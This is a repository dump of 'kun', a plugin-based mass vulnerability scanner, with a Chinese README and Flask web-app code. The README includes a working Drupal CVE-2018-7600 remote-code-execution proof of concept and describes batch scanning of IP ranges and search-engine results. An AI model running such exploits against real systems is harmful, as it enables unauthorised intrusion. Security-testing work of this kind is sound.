├── README.md ├── app ├── __init__.py ├── celery_worker.py ├── data.py ├── extensions.py ├── files │ └── .gitignore ├── models.py ├── static │ ├── 2fad952a20fbbcfd1bf2ebb210dccf7a.woff │ ├── 6f0a76321d30f3c8120915e57f7bd77e.ttf │ ├── index.js │ ├── login.js │ ├── plugin.js │ ├── regist.js │ ├── task.js │ ├── taskDetail.js │ └── vuln.js ├── task.py ├── templates │ ├── index.html │ ├── login.html │ ├── plugin.html │ ├── regist.html │ ├── task.html │ ├── taskDetail.html │ └── vuln.html └── view.py ├── config.py ├── gunicorn.conf ├── kun.py ├── kunscanner ├── __init__.py ├── dict │ ├── ignore_domain │ └── weak_file ├── lib │ ├── __init__.py │ ├── api │ │ ├── __init__.py │ │ ├── baidu.py │ │ ├── subDomainsBrute.py │ │ └── zoomeye.py │ ├── config │ │ └── scanner.conf │ ├── controller │ │ ├── __init__.py │ │ └── controller.py │ ├── core │ │ ├── __init__.py │ │ ├── argsparse.py │ │ ├── common.py │ │ ├── data.py │ │ ├── database.py │ │ ├── datatype.py │ │ ├── enums.py │ │ ├── exception.py │ │ ├── info.py │ │ ├── loader.py │ │ ├── log.py │ │ ├── models.py │ │ ├── output.py │ │ ├── scanner.py │ │ └── spider.py │ ├── parse │ │ ├── __init__.py │ │ └── cmdline.py │ ├── scripts │ │ ├── __init__.py │ │ ├── couchdb_exec.py │ │ ├── drupal │ │ │ ├── __init__.py │ │ │ └── drupal_exec_7600.py │ │ ├── redis │ │ │ └── redis_sshkey_getshell.py │ │ ├── struts2 │ │ │ ├── s2_032.py │ │ │ ├── s2_045.py │ │ │ └── s2_048.py │ │ ├── unauth │ │ │ ├── __init__.py │ │ │ ├── memcached_unauth.py │ │ │ ├── mongodb_unauth.py │ │ │ └── redis_unauth.py │ │ ├── weakfile │ │ │ └── weakfile.py │ │ └── weblogic │ │ │ └── weblogic_2628.py │ └── utils │ │ ├── __init__.py │ │ ├── ceye.py │ │ ├── terminalsize.py │ │ └── utils.py ├── log │ └── .gitignore ├── result │ └── .gitignore ├── scanner.py └── webapi.py ├── requirements_all.txt ├── requirements_cli.txt ├── supervisord.conf └── web.py /README.md: -------------------------------------------------------------------------------- 1 | # kun scanner (项目重构,不再更新) 2 | 插件化漏洞扫描器 3 | 4 | ## 简介: 5 | 插件化漏洞扫描器,对大量目标(单个目标,IP段,文件、API、爬虫)和大量POC组合快速批量漏洞测试,支持web、终端两种操作方式。 6 | 7 | ## 适合做什么 8 | 因为扫描器是对目标和插件组合使用多线程进行测试,所以速度提升是提升在对组合后多线程取队列测试,但单个Poc运行都是单线程的。如: 9 | 10 | 1. 针对10.10.10.1-10.10.20.254进行未授权访问测试(各种未授权访问的脚本),组合所有目标插件放入队列后,多线程取队列测试,速度会很快,因为每个插件的测试时间都很短。 11 | 12 | 2. 针对http://10.10.10.1/ 进行目录爆破,这种速度会非常慢,因为组合后的结果只有一条,但是插件的内容是跑字典,相当于单线程爆破,这样速度就很慢了。 13 | 14 | ## 特点: 15 | 1. 操作方式方面,提供了web和终端两种操作方式。通过终端和web创建扫描都是可以的。终端开了数据库存储后创建扫描,web也是可以看到扫描结果的。 16 | 2. 目标获取方面,提供了多重目标输入方式,单个目标,IP段,文件、API(目前就只写了zoomeye、百度域名采集、subDomainsBrute)、爬虫(目前完成了域名采集爬虫)。 17 | 3. 域名采集爬虫方面,不是使用的搜索引擎爬虫,主要是根据页面嵌入的新域名然后对下一个域名进行继续扫描新域名,后边会加入搜索引擎的爬虫。 18 | 4. 在爬虫方面,因为爬虫的速度是不确定的,可能获取目标的时间就会特别的长(假设要获取6万个目标,那爬虫获取目标的时间可能就会非常的长),所以扫描器采用边爬边扫的方式,为爬虫单独开一个进程,爬虫进程中使用多线程加快爬虫速度,扫描进程获取到爬虫进程中的目标数据后就会开始扫描,提升爬虫扫描下的扫描速度。 19 | 5. 插件方面,可以选择一个或者全选,也可以选择特定文件夹下所有的,选择unauth文件夹下的,那指定unauth*就可以了。对于无回显的插件使用的是ceye 。 20 | 6. web方面,提供扫描任务、漏洞等信息的查看。 21 | 22 | ## 支持目标类型 23 | 1. 单一URL 24 | 2. IP段 192.168.1-254,192.168.1.0/24,10.10.10.1-10.10.20.1 25 | 3. 文件 26 | 4. 域名采集爬虫 根据指定的初始域名进行域名采集 27 | 5. 搜索引擎爬虫 目前仅百度,根据关键字采集域名 28 | 6. zoomeye 29 | 7. subDomainsBrute 根据subDomainsBrute返回的结果,对得到的子域名,对应IP和IP的C段进行扫描 30 | 31 | ## 依赖: 32 | 33 | * Python 2.7 34 | * Flask 35 | * Celery 36 | * MongoDB 37 | * Redis 38 | 39 | ## 平台: 40 | 41 | * Linux 42 | * Mac OS X 43 | * Windows下不建议使用,因为爬虫部分用了多进程,Windows下多进程不太一样,所以Windows下爬虫功能目前是不能用的,在终端下其他功能是可用的,但不确定是否存在编码问题,没有进行测试。Web端可以运行,因为程序使用Celery 3.1版本是支持Windows的,但没有进行测试。 44 | * 建议在Linux或者Mac OS X使用 45 | 46 | ## 安装: 47 | ### 在ubuntu 16.04上安装 48 | #### 1. 完整安装,包括web部分: 49 | ##### 配置环境: 50 | ``` 51 | git clone https://github.com/SPuerBRead/kun.git 52 | cd ./kun 53 | pip install -r requirements_all.txt 54 | apt install mongodb 55 | apt install redis-server 56 | ``` 57 | 58 | ##### 补充配置信息: 59 | 60 | 配置文件分为两种,web的配置文件和扫描器的配置文件 61 | 62 | web配置文件 63 | ``` 64 | kun/config.py 65 | ``` 66 | 67 | web端连接mongo和redis的地址端口在这个配置文件下,默认是127.0.0.1:27017,127.0.0.1:6379 68 | 69 | 扫描器的配置文件 70 | ``` 71 | kun/kunscanner/lib/config/scanner.conf 72 | ``` 73 | 需要对zoomeye和ceye进行配置填写token信息,其他的可以不变,每一项具体内容有详细注释。 74 | 75 | ##### 启动程序: 76 | 77 | gunicorn和supervisor装不装都是可以的 78 | 79 | * 使用gunicorn和supervisor 80 | 81 | 需要对supervisord.conf中的directory、stdout_logfile、stderr_logfile值根据实际情况修改 82 | 83 | 启动web服务 84 | ``` 85 | gunicorn -c gunicorn.conf web:app 86 | ``` 87 | 启动celery 88 | ``` 89 | supervisord -c /supervisord.conf 90 | ``` 91 | 访问 http://127.0.0.1:5000/ 首次自动跳转至创建用户界面,创建用户登录成功后,点击右上角账户名处,下拉框中点击更新插件后,即可使用开始。 92 | * 不使用gunicorn和supervisor 93 | 94 | 启动web服务 95 | ``` 96 | python web.py 97 | ``` 98 | 启动celery 99 | ``` 100 | PYTHONOPTIMIZE=1&&celery worker -A app.celery_worker.celery -l INFO 101 | ``` 102 | 访问 http://127.0.0.1:5000/ 操作同上。 103 | 104 | 完整安装后,也可以不使用web端直接在终端下运行扫描器 105 | ``` 106 | python kun.py -u 127.0.0.1 --script "unauth*" 107 | ``` 108 | 109 | #### 2. 只在终端下运行扫描器,不安装web端: 110 | ##### 配置环境: 111 | ``` 112 | git clone https://github.com/SPuerBRead/kun.git 113 | cd ./kun 114 | pip install -r requirements_cli.txt 115 | ``` 116 | ##### 补充配置信息: 117 | 只需要修改扫描器的配置文件,添加zoomeye和ceye信息 118 | 在不启用数据库存储的情况下是不需要安装mongo的,程序默认是开了数据库存储的,所以将/kunscanner/lib/config/scanner.conf 中的SAVE_RESULT_TO_DATABASE = true改为false就可以终端下直接运行扫描器了 119 | ##### 启动程序: 120 | ``` 121 | python kun.py -u 127.0.0.1 --script "unauth*" 122 | ``` 123 | 终端下需要数据保存到数据库的话,SAVE_RESULT_TO_DATABASE设置为true,然后安装mongodb并配置扫描器的配置文件(默认是127.0.0.1:27017),数据就会存储到mongo中。若要查看数据需要安装web也是一样的,再像上边的一样部署下web就可以用web操作扫描器了。 124 | 125 | ## 注意: 126 | Redis和MongoDB程序里都是没有设置连接密码的,需要保持只能本机访问的状态,不然本身就是未授权访问了。 127 | 128 | ## 截图: 129 | ### 创建扫描任务 130 | ![image](https://user-images.githubusercontent.com/18071202/40243250-5130115e-5af2-11e8-8be7-f65567af208f.png) 131 | ### 任务列表 132 | ![image](https://user-images.githubusercontent.com/18071202/40243479-e75c88e2-5af2-11e8-9d1e-6a0586184217.png) 133 | ### 任务详细信息 134 | ![image](https://user-images.githubusercontent.com/18071202/40243553-1d88a6a8-5af3-11e8-8be1-e7db61f4fb70.png) 135 | ### URL扫描 136 | ![image](https://user-images.githubusercontent.com/18071202/40243760-a9b5c886-5af3-11e8-880a-21f9baab0b97.png) 137 | ### 利用API扫描 138 | ![image](https://user-images.githubusercontent.com/18071202/40244757-4fee539c-5af6-11e8-9150-cea5070a5202.png) 139 | ### 利用爬虫扫描 140 | ![image](https://user-images.githubusercontent.com/18071202/40275588-66f9cb1c-5c26-11e8-8b24-254e730d6290.png) 141 | ### 百度获取目标扫描 142 | ![image](https://user-images.githubusercontent.com/18071202/40577565-58119922-613a-11e8-8e9e-c6e5c2dba438.png) 143 | ### 插件信息 144 | ![image](https://user-images.githubusercontent.com/18071202/40246377-21e75598-5afb-11e8-9a87-8b58511fe7ed.png) 145 | ## 程序流程 146 | ![image](https://user-images.githubusercontent.com/18071202/40247370-bd036eec-5afe-11e8-969c-cc960a2cb2f5.png) 147 | 148 | ## 插件: 149 | 插件目录 kun/kunscanner/lib/scripts 150 | 151 | 每个插件包含两个主要函数Info函数、Poc函数。 152 | 153 | ### Info函数提供插件的基础信息 154 | 如下是Drupal命令执行的例子 155 | ``` 156 | def Info(): 157 | poc_info = OrderedDict() 158 | poc_info['name'] = "drupal_exec_7600" 159 | poc_info['info'] = "drupal core remote code execution (CVE-2018-7600)" 160 | poc_info['title'] = u'Drupal远程命令执行' 161 | poc_info['author'] = "a2u" 162 | poc_info['time'] = "2018.04.14" 163 | poc_info['type'] = 'attack' 164 | poc_info['level'] = SCRIPT_LEVEL.HIGH 165 | return poc_info 166 | ``` 167 | 1. name->文件名 168 | 2. info->简介 169 | 3. title->web下的插件标题 170 | 4. author->作者 171 | 5. time->时间 172 | 6. type->插件类别 173 | 7. level->插件等级 174 | 175 | #### 插件类别 176 | 插件类别包含两种attack和info,两种插件都返回一个字典作为结果,区别在于两种插件返回字典的内容是不同的 177 | 178 | 1. attack类型,验证型的漏洞脚本,插件利用结果成功或者失败,所以返回的字典包含两个键,其中success表示是否存在该漏洞 179 | 另外一个键是message,表示插件返回的其他信息,例如phpcms_v9的文件上传漏洞,shell地址会作为message返回给扫描器,若存在该漏洞Poc函数的返回结果即为: 180 | ``` 181 | result['success'] = True 182 | result['message'] = shell_path 183 | ``` 184 | 2. info类型插件,主要作用是返回信息,不是验证是否成功,返回的结果中,每种信息的名字作为key,具体内容作为value,例如通过一个脚本批量获取域名的whois信息和ip地址,那么Poc函数返回的结果为: 185 | ``` 186 | result['whois'] = whois_data 187 | result['ip'] = ip_address 188 | ``` 189 | 扫描器会根据不同的插件类型对返回信息进行处理,显示信息,存储数据库等。 190 | 191 | #### 插件等级 192 | 插件等级可以从枚举类SCRIPT_LEVEL中获得,如漏洞为高危 193 | ``` 194 | from kunscanner.lib.core.enums import SCRIPT_LEVEL 195 | poc_info['level'] = SCRIPT_LEVEL.HIGH 196 | ``` 197 | ### Poc函数包含具体利用代码 198 | 如下是Drupal命令执行的例子 199 | ``` 200 | def Poc(url): 201 | init_url = url 202 | socket.setdefaulttimeout(5) 203 | result = {} 204 | result['success'] = False 205 | result['message'] = '' 206 | try: 207 | random_str = RandomString() 208 | url = GetNetloc(url, True) 209 | target = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 210 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 211 | 'mail[#type]': 'markup', 'mail[#markup]': 'echo '+random_str+' | tee '+random_str+'.txt'} 212 | r = requests.post(target, data=payload, timeout = 5) 213 | if r.status_code != 200: 214 | return result 215 | else: 216 | r = requests.get(url+'/'+random_str+'.txt', timeout = 5) 217 | if r.status_code == 200 and random_str in r.text and 'html' not in r.text: 218 | result['success'] = True 219 | result['message'] = 'random_file: /'+random_str+'.txt' 220 | return result 221 | except Exception,e: 222 | raise PocWarningException(init_url, Info()['name'], repr(e)) 223 | ``` 224 | 首先init_url只是保存一份最初始的目标,用于Poc出现异常时的显示,然后创建result字典作为返回结果。 225 | 226 | 下边的利用代码使用try except包含,因为设计的是一个多目标对应多漏洞的扫描器,所以程序是不能因为Poc出现一个异常就停止整个程序的运行的,扫描器提供了两种可以抛出异常分别是PocWarningException和PocErrorException 227 | 228 | * 导入异常函数 229 | ``` 230 | from kunscanner.lib.core.exception import PocWarningException PocErrorException 231 | ``` 232 | 233 | 1. PocWarningException主要是处理不需要停止程序的异常,如requests请求超时,扫描器捕获到这个异常后会将异常内容存入log或输出到终端(根据扫描器配置文件中的配置选择)后忽略并继续运行其他测试代码。 234 | 2. PocErrorException主要处理已知的异常,如redis写入ssh公钥,但是在Poc中公钥变量为空,验证是否成功使用的私钥也为空,抛出这个异常,程序会停止运行, 并进行提示,但是这样也导致了一个问题,在--script-all的情况下,其中一个插件产生这个异常,就会直接退出程序。 235 | 236 | Poc函数的返回,在上边插件类别部分已经说明。 237 | 238 | * 导入工具函数 239 | ``` 240 | from kunscanner.lib.utils.utils import GetNetloc, RandomString 241 | ``` 242 | * 通过ceye获取结果,CeyeApi返回为True或者False 243 | ``` 244 | from kunscanner.lib.utils.ceye import CeyeApi 245 | result = CeyeApi(rangom_string) 246 | ``` 247 | 编写新插件完成后,放在插件目录下(kun/kunscanner/lib/scripts)终端下即可使用,web端请点击更新插件进行更新,同样删除插件后也需要点击更新插件来更新数据库中的插件信息。 248 | 249 | ### 插件注意事项 250 | 插件请求的时间需要插件自己控制,requests或者socket的超时时间等,requests有时会出现加了timeout仍然卡死的现象,可以在函数中设置socket.setdefaulttimeout() 251 | 252 | ## 更新 253 | 254 | * 2018.5.26 增加百度域名采集 255 | * 2018.5.31 增加subDomainsBrute模块 256 | 257 | ## 感谢 258 | 259 | * 前端的作者[@huyuangang](https://github.com/huyuangang) 260 | 261 | * 程序整体结构上学习了POC-T,很多地方参考了[POC-T](https://github.com/Xyntax/POC-T),以前一直用POC-T,当前的一些插件也是用POC-T的插件修改的,感谢@Xyntax大佬 262 | 263 | ## 最后 264 | 265 | 插件的数量目前比较少,只弄了几个比较常用的和比较新的,插件的准确性太重要了,许多流出来的老插件就没有改了,后边会慢慢提交,工作得做,Poc就还是会有== 266 | 267 | 代码能力有限,bug肯定会有的==,结构和编码也都不是那么规范,后期逐渐修改。 268 | -------------------------------------------------------------------------------- /app/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : __init__.py 5 | 6 | from flask import Flask 7 | from extensions import celery,login_manager 8 | from view import kun 9 | from models import db 10 | 11 | def CreateApp(): 12 | app = Flask(__name__) 13 | app.config.from_object('config') 14 | celery.config_from_object('config') 15 | InitmongoDB(app) 16 | InitLogin(app) 17 | RegisterBlueprints(app) 18 | return app 19 | 20 | 21 | def RegisterBlueprints(app): 22 | app.register_blueprint(kun) 23 | 24 | def InitmongoDB(app): 25 | db.init_app(app) 26 | 27 | def InitLogin(app): 28 | login_manager.init_app(app) 29 | 30 | @login_manager.user_loader 31 | def load_user(user_id): 32 | from app.models import User 33 | return User.objects(id=user_id).first() -------------------------------------------------------------------------------- /app/celery_worker.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : celery_worker.py 5 | 6 | from app import CreateApp 7 | from extensions import celery 8 | 9 | app = CreateApp() 10 | app.app_context().push() -------------------------------------------------------------------------------- /app/data.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : data.py 5 | 6 | def GetSeverArgs(): 7 | server_args = { 8 | "all_scripts":False, 9 | 10 | "max_number":None, 11 | 12 | "custom_scripts":None, 13 | 14 | "ip_segment":None, 15 | 16 | "output_file_name":None, 17 | 18 | "custom_scripts_info":False, 19 | 20 | "all_scripts_info":None, 21 | 22 | "spider_init_url":None, 23 | 24 | "target_file":None, 25 | 26 | "url":None, 27 | 28 | "zoomeye":None, 29 | 30 | "baidu":None, 31 | 32 | "task_id":None, 33 | 34 | "update_script_info":False, 35 | 36 | "task_name":None, 37 | 38 | "zoomeye_search_type":None, 39 | 40 | "subdomain":None, 41 | 42 | "custom_scripts_info":None, 43 | 44 | "search_script":None 45 | } 46 | return server_args 47 | 48 | 49 | class TASKTYPE: 50 | URL = 0 51 | IPS = 1 52 | API = 2 53 | SPIDER = 3 54 | FILE = 4 55 | 56 | class APINAME: 57 | ZOOMEYE = 'zoomeye' 58 | BAIDU = 'baidu' 59 | SUBDOMAIN = 'subDomainsBrute' 60 | 61 | class STATUS: 62 | WAIT = 'Waiting' 63 | RUN = 'Running' 64 | FINISH = 'Finish' 65 | FAIL = 'Failed' 66 | CLOSE = 'Close' -------------------------------------------------------------------------------- /app/extensions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : extensions.py 5 | 6 | from celery import Celery,platforms 7 | from config import CELERY_BROKER_URL,CELERY_RESULT_BACKEND 8 | from flask_login import LoginManager 9 | 10 | celery = Celery(__name__,broker = CELERY_BROKER_URL,backend=CELERY_RESULT_BACKEND) 11 | platforms.C_FORCE_ROOT = True 12 | 13 | login_manager = LoginManager() -------------------------------------------------------------------------------- /app/files/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/files/.gitignore -------------------------------------------------------------------------------- /app/models.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : models.py 5 | 6 | from flask_mongoengine import MongoEngine 7 | from datetime import datetime 8 | 9 | db = MongoEngine() 10 | 11 | class Task(db.Document): 12 | task_id = db.StringField(required = True) 13 | task_name = db.StringField() 14 | short_target = db.StringField() 15 | full_target = db.StringField() 16 | scan_mode = db.StringField() 17 | target_type = db.StringField() 18 | script_type = db.StringField() 19 | target_number = db.IntField() 20 | script_info = db.StringField() 21 | start_time = db.DateTimeField(default=datetime.now) 22 | finish_time = db.DateTimeField(default=datetime.now) 23 | 24 | class Result(db.Document): 25 | task_id = db.StringField(required = True,unique=True) 26 | result = db.StringField() 27 | high_count = db.IntField() 28 | medium_count = db.IntField() 29 | low_count = db.IntField() 30 | 31 | class Script(db.Document): 32 | script_id = db.StringField(required = True,unique=True) 33 | script_name = db.StringField() 34 | script_info = db.StringField() 35 | script_author = db.StringField() 36 | script_update_time = db.StringField() 37 | script_level = db.StringField() 38 | script_title = db.StringField() 39 | 40 | class Status(db.Document): 41 | task_id = db.StringField(required = True,unique=True) 42 | task_name = db.StringField() 43 | warning = db.StringField() 44 | status = db.StringField() 45 | progress = db.StringField() 46 | create_time = db.DateTimeField(default=datetime.now) 47 | 48 | class Vuln(db.Document): 49 | task_id = db.StringField(required=True) 50 | vuln_id = db.StringField(required=True, unique=True) 51 | target = db.StringField() 52 | script = db.StringField() 53 | message = db.StringField() 54 | script_type = db.StringField() 55 | create_time = db.DateTimeField(default=datetime.now) 56 | 57 | 58 | class User(db.Document): 59 | username = db.StringField(required=True, max_length=64) 60 | password = db.StringField(max_length=256) 61 | 62 | is_authenticated = True 63 | 64 | is_active = True 65 | 66 | is_anonymous = True 67 | 68 | 69 | def get_id(self): 70 | return str(self.id) 71 | 72 | def __unicode__(self): 73 | return self.username -------------------------------------------------------------------------------- /app/static/2fad952a20fbbcfd1bf2ebb210dccf7a.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/static/2fad952a20fbbcfd1bf2ebb210dccf7a.woff -------------------------------------------------------------------------------- /app/static/6f0a76321d30f3c8120915e57f7bd77e.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SPuerBRead/kun/68b699c6ecf91b2ce935ec82eee73cf740f0ddb5/app/static/6f0a76321d30f3c8120915e57f7bd77e.ttf -------------------------------------------------------------------------------- /app/task.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : task.py 5 | 6 | from extensions import celery 7 | from kunscanner.webapi import NewScan 8 | from data import GetSeverArgs,APINAME 9 | 10 | 11 | @celery.task(bind=True) 12 | def UrlScanTask(self,target,script,task_name): 13 | server_args = GetSeverArgs() 14 | server_args['url'] = target 15 | server_args['custom_scripts'] = script 16 | server_args['task_name'] = task_name 17 | server_args['task_id'] = self.request.id 18 | NewScan(server_args) 19 | 20 | 21 | @celery.task(bind=True) 22 | def IPSScanTask(self,target,script,task_name): 23 | server_args = GetSeverArgs() 24 | server_args['ip_segment'] = target 25 | server_args['custom_scripts'] = script 26 | server_args['task_name'] = task_name 27 | server_args['task_id'] = self.request.id 28 | NewScan(server_args) 29 | 30 | @celery.task(bind=True) 31 | def SpiderScanTask(self,target,script,task_name,number): 32 | server_args = GetSeverArgs() 33 | server_args['spider_init_url'] = target 34 | server_args['custom_scripts'] = script 35 | server_args['task_name'] = task_name 36 | server_args['task_id'] = self.request.id 37 | server_args['max_number'] = number 38 | NewScan(server_args) 39 | 40 | 41 | @celery.task(bind=True) 42 | def ApiScanTask(self,api_name,keyword,script,task_name,number,search_type,file_path): 43 | server_args = GetSeverArgs() 44 | if api_name == APINAME.ZOOMEYE: 45 | server_args['zoomeye'] = keyword 46 | server_args['custom_scripts'] = script 47 | server_args['task_name'] = task_name 48 | server_args['task_id'] = self.request.id 49 | server_args['max_number'] = number 50 | server_args['zoomeye_search_type'] = search_type 51 | NewScan(server_args) 52 | if api_name == APINAME.BAIDU: 53 | server_args['baidu'] = keyword 54 | server_args['custom_scripts'] = script 55 | server_args['task_name'] = task_name 56 | server_args['task_id'] = self.request.id 57 | server_args['max_number'] = number 58 | NewScan(server_args) 59 | if api_name == APINAME.SUBDOMAIN: 60 | server_args['subdomain'] = file_path 61 | server_args['custom_scripts'] = script 62 | server_args['task_name'] = task_name 63 | server_args['task_id'] = self.request.id 64 | NewScan(server_args) 65 | 66 | 67 | 68 | @celery.task(bind=True) 69 | def FileScanTask(self,file_path,script,task_name): 70 | server_args = GetSeverArgs() 71 | server_args['custom_scripts'] = script 72 | server_args['task_name'] = task_name 73 | server_args['task_id'] = self.request.id 74 | server_args['target_file'] = file_path 75 | NewScan(server_args) -------------------------------------------------------------------------------- /app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | kun - scanner 8 | 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /app/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | kun - login 8 | 9 | 10 |
11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /app/templates/plugin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | kun - scanner 9 | 10 | 11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /app/templates/regist.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | kun - regist 8 | 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /app/templates/task.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | kun - scanner 8 | 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /app/templates/taskDetail.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | kun - scanner 8 | 9 | 10 |
11 | 12 | 13 | -------------------------------------------------------------------------------- /app/templates/vuln.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | kun - scanner 9 | 10 | 11 |
12 | 13 | 14 | -------------------------------------------------------------------------------- /app/view.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/4/24 下午2:21 3 | # @author : Xmchx 4 | # @File : view.py 5 | 6 | 7 | import os 8 | import cgi 9 | import json 10 | import re 11 | import urlparse 12 | import hashlib 13 | import time 14 | from collections import OrderedDict 15 | 16 | from flask import (Blueprint, redirect, render_template, request, 17 | url_for) 18 | from flask_login import login_required, login_user, current_user, logout_user 19 | from werkzeug.security import check_password_hash, generate_password_hash 20 | 21 | from extensions import celery 22 | from models import Result, Script, Status, Task, User, Vuln 23 | from task import UrlScanTask, IPSScanTask, SpiderScanTask, ApiScanTask, FileScanTask 24 | from kunscanner.webapi import ScriptsInfo, APIInfo 25 | from data import TASKTYPE,STATUS,APINAME 26 | 27 | kun = Blueprint('kun', __name__) 28 | 29 | page_item_number = 28 30 | 31 | UPLOAD_FOLDER = './app/files' 32 | 33 | 34 | @kun.route('/', methods=['GET']) 35 | def Root(): 36 | if User.objects().all().count() == 0: 37 | return redirect(url_for('kun.CreateAdmin')) 38 | else: 39 | if current_user.is_authenticated: 40 | return redirect(url_for('kun.IndexHander')) 41 | else: 42 | return redirect(url_for('kun.Login')) 43 | 44 | 45 | @kun.route('/index',methods=['GET']) 46 | @login_required 47 | def IndexHander(): 48 | return render_template('index.html') 49 | 50 | @kun.route('/vuln',methods=['GET']) 51 | @login_required 52 | def VulnHandler(): 53 | return render_template('vuln.html') 54 | 55 | @kun.route('/task',methods=['GET']) 56 | @login_required 57 | def TaskHandler(): 58 | return render_template('task.html') 59 | 60 | @kun.route('/script',methods=['GET']) 61 | @login_required 62 | def ScriptHandler(): 63 | return render_template('plugin.html') 64 | 65 | @kun.route('/task_detail',methods=['GET']) 66 | @login_required 67 | def TaskDetail(): 68 | return render_template('taskDetail.html') 69 | 70 | 71 | @kun.route('/login',methods=['GET', 'POST']) 72 | def Login(): 73 | login_message = {} 74 | if request.method == 'GET': 75 | if current_user.is_authenticated == False: 76 | return render_template('login.html') 77 | else: 78 | return redirect(url_for('kun.IndexHander')) 79 | if request.method == 'POST': 80 | data = json.loads(request.get_data()) 81 | username = data['username'] 82 | password = data['password'] 83 | user = User.objects(username=username).first() 84 | if user: 85 | if not check_password_hash(user.password, password): 86 | login_message['success'] = False 87 | login_message['message'] = u'用户名或密码错误' 88 | return json.dumps(login_message) 89 | else: 90 | login_message['success'] = False 91 | login_message['message'] = u'用户名或密码错误' 92 | return json.dumps(login_message) 93 | login_user(user) 94 | login_message['success'] = True 95 | login_message['message'] = u'登陆成功' 96 | return json.dumps(login_message) 97 | 98 | @kun.route('/logout',methods=['GET']) 99 | @login_required 100 | def Logout(): 101 | result = {} 102 | try: 103 | logout_user() 104 | result['success'] = True 105 | except: 106 | result['success'] = False 107 | return json.dumps(result) 108 | 109 | 110 | @kun.route('/create_admin',methods=['GET', 'POST']) 111 | def CreateAdmin(): 112 | register_message = {} 113 | if request.method == 'GET': 114 | if User.objects().all().count() == 0: 115 | return render_template('regist.html') 116 | else: 117 | return redirect(url_for('kun.Login')) 118 | if request.method == 'POST': 119 | if User.objects().all().count() == 0: 120 | data = json.loads(request.get_data()) 121 | username = data['username'] 122 | password = data['password'] 123 | confirm_password = data['confirm_password'] 124 | if not re.match(re.compile(r'^[A-Za-z0-9-]+$'),username): 125 | register_message['success'] = False 126 | register_message['message'] = u'用户名只允许使用数字或字母,不允许使用特殊符号。' 127 | return json.dumps(register_message) 128 | if password != confirm_password: 129 | register_message['success'] = False 130 | register_message['message'] = u'两次输入的密码不相同' 131 | return json.dumps(register_message) 132 | if len(password) < 6 or not re.match(re.compile(r'([0-9]+(\W+|\_+|[A-Za-z]+))+|([A-Za-z]+(\W+|\_+|\d+))+|((\W+|\_+)+(\d+|\w+))+'),password): 133 | register_message['success'] = False 134 | register_message['message'] = u'密码长度至少为6位,且需要字母,数字,特殊符号至少两种的组合。' 135 | return json.dumps(register_message) 136 | pass_hash = generate_password_hash(password, method='pbkdf2:sha256') 137 | 138 | User( 139 | username = username, 140 | password = pass_hash 141 | ).save() 142 | 143 | register_message['success'] = True 144 | register_message['message'] = u'注册成功,请登录' 145 | return json.dumps(register_message) 146 | else: 147 | register_message['success'] = False 148 | register_message['message'] = u'注册功能在成功注册一次后不能再次使用,请管理员登陆后使用“添加用户”功能添加新用户' 149 | return json.dumps(register_message) 150 | 151 | @kun.route('/user',methods=['GET']) 152 | @login_required 153 | def GetUser(): 154 | result = {} 155 | result['username'] = current_user.username 156 | return json.dumps(result) 157 | 158 | @kun.route('/add_user',methods=['POST']) 159 | @login_required 160 | def AddUser(): 161 | register_message = {} 162 | data = json.loads(request.get_data()) 163 | username = data['username'] 164 | password = data['password'] 165 | confirm_password = data['confirm_password'] 166 | if password != confirm_password: 167 | register_message['success'] = False 168 | register_message['message'] = u'两次输入的密码不相同' 169 | if User.objects(username=username).all().count(): 170 | register_message['success'] = False 171 | register_message['message'] = u'用户名已被使用。' 172 | return json.dumps(register_message) 173 | if not re.match(re.compile(r'^[A-Za-z0-9-]+$'),username): 174 | register_message['success'] = False 175 | register_message['message'] = u'用户名只允许使用数字或字母,不允许使用特殊符号。' 176 | return json.dumps(register_message) 177 | if len(password) < 6 or not re.match(re.compile(r'([0-9]+(\W+|\_+|[A-Za-z]+))+|([A-Za-z]+(\W+|\_+|\d+))+|((\W+|\_+)+(\d+|\w+))+'),password): 178 | register_message['success'] = False 179 | register_message['message'] = u'密码长度至少为6位,且需要字母,数字,特殊符号至少两种的组合。' 180 | return json.dumps(register_message) 181 | 